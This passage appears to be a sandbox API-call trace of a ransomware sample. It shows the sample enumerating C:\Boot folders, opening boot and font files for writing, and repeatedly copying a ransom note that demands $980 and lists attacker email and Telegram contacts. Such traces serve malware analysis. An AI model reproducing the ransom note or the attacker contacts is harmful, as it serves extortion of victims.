have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.840] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.840] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.840] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0119.840] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.840] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.840] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.840] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.840] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0119.840] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.840] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.840] PathFindFileNameW (pszPath="") returned="" [0119.840] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.841] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.841] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.841] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.841] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0119.841] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0119.841] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.841] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.841] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.841] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.842] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0119.842] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.842] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.842] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.842] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.842] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0119.842] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.842] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.842] PathFindFileNameW (pszPath="") returned="" [0119.842] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.842] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.843] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.843] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.843] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0119.843] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0119.843] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.843] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.843] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.843] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.843] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0119.843] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.843] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0119.843] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.844] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0119.844] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.844] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0119.844] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.845] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0119.845] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.845] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.845] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.845] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.845] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0119.845] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.845] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.845] PathFindFileNameW (pszPath="") returned="" [0119.845] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.845] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.846] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.846] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.846] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0119.846] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0119.846] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.846] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal 